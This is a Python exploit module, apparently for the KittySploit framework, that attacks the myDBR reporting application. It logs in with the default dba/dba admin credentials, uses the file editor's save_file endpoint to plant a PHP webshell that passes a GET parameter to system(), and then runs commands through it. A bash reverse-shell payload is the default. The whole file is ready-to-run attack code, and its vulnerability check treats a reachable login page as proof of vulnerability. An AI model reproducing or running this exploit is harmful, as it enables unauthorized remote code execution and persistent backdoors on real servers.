myDBR admin file editor save_file RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""myDBR admin file editor save_file PHP webshell RCE."""

from __future__ import annotations

import hashlib
import re
from urllib.parse import quote, urlencode

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "myDBR admin file editor save_file RCE",
        "description": (
            "Challenge-response login (default dba/dba) then apps_v/fileedit_v.php "
            "save_file writes PHP under user/."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["mydbr", "rce", "authenticated"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 5,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/mydbr_file_editor_rce_detect"],
            },
        },
    }

    port = OptPort(8090, "HTTP port", required=True)
    ssl = OptBool(False, "Use HTTPS", required=False)
    app_base = OptString("/mydbr", "myDBR URL path prefix", required=False)
    username = OptString("dba", "Admin username", required=False)
    password = OptString("dba", "Admin password", required=False)
    shell_path = OptString("user/_poc_shell.php", "Webshell path under myDBR root", required=False)

    def _prefix(self) -> str:
        base = str(self.app_base or "/mydbr").strip()
        if not base.startswith("/"):
            base = "/" + base
        return base.rstrip("/")

    def _login(self) -> str | None:
        p = self._prefix()
        resp = self.http_request("GET", f"{p}/index.php?a=login", session=True)
        html = (resp.text or "") if resp else ""
        m_csrf = re.search(r'name="csrf_token"\s+value="([^"]+)"', html)
        m_chal = re.search(r'name="challenge"\s+value="([^"]+)"', html)
        if not m_csrf or not m_chal:
            return None
        csrf, chal = m_csrf.group(1), m_chal.group(1)
        inner = hashlib.md5(str(self.password or "dba").encode()).hexdigest()
        pwo = hashlib.md5((inner + chal).encode()).hexdigest()
        body = urlencode(
            {
                "csrf_token": csrf,
                "app": "mainView",
                "password_out": pwo,
                "hashed": "1",
                "challenge": chal,
                "validationRoutine": "y",
                "salted_hash": "0",
                "username": str(self.username or "dba"),
                "password": "",
                "Login": "Login",
            }
        )
        self.http_request(
            "POST",
            f"{p}/index.php?a=login",
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
        )
        files = self.http_request("GET", f"{p}/index.php?a=files", session=True)
        fe = (files.text or "") if files else ""
        m_tok = re.search(r'csrf_token"\s+value="([a-f0-9]{40,70})"', fe)
        return m_tok.group(1) if m_tok else csrf

    def execute(self, cmd: str) -> str:
        p = self._prefix()
        token = self._login()
        if not token:
            return "login failed — check app_base and dba credentials"
        shell = str(self.shell_path or "user/_poc_shell.php")
        php = "<?php if(isset($_GET['c'])){system($_GET['c']);} ?>"
        payload = urlencode(
            {
                "action": "save_file",
                "content": php,
                "file": shell,
                "csrf_token": token,
            }
        )
        save = self.http_request(
            "POST",
            f"{p}/apps_v/fileedit_v.php",
            data=payload,
            headers={
                "Content-Type": "application/x-www-form-urlencoded",
                "X-Requested-With": "XMLHttpRequest",
            },
            session=True,
        )
        if not save or int(save.status_code or 0) >= 500:
            return "save_file failed"
        run = self.http_request("GET", f"{p}/{shell}?c={quote(cmd)}", session=True)
        return (run.text or "")[:8000] if run else "shell GET failed"

    def check(self):
        p = self._prefix()
        resp = self.http_request("GET", f"{p}/index.php?a=login")
        if resp and int(resp.status_code or 0) == 200:
            return {"vulnerable": True, "reason": "myDBR login reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "myDBR not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("save_file webshell + invoke")
        out = self.execute(shell)
        if out and "failed" not in out.lower()[:20]:
            print_success("Output:")
            print_info(out[:8000])
            self.vulnerable()
            if str(self.shell_from_payload() or "").strip():
                return True
            return True
        print_error(out or "Exploit failed")
        self.not_vulnerable()
        return False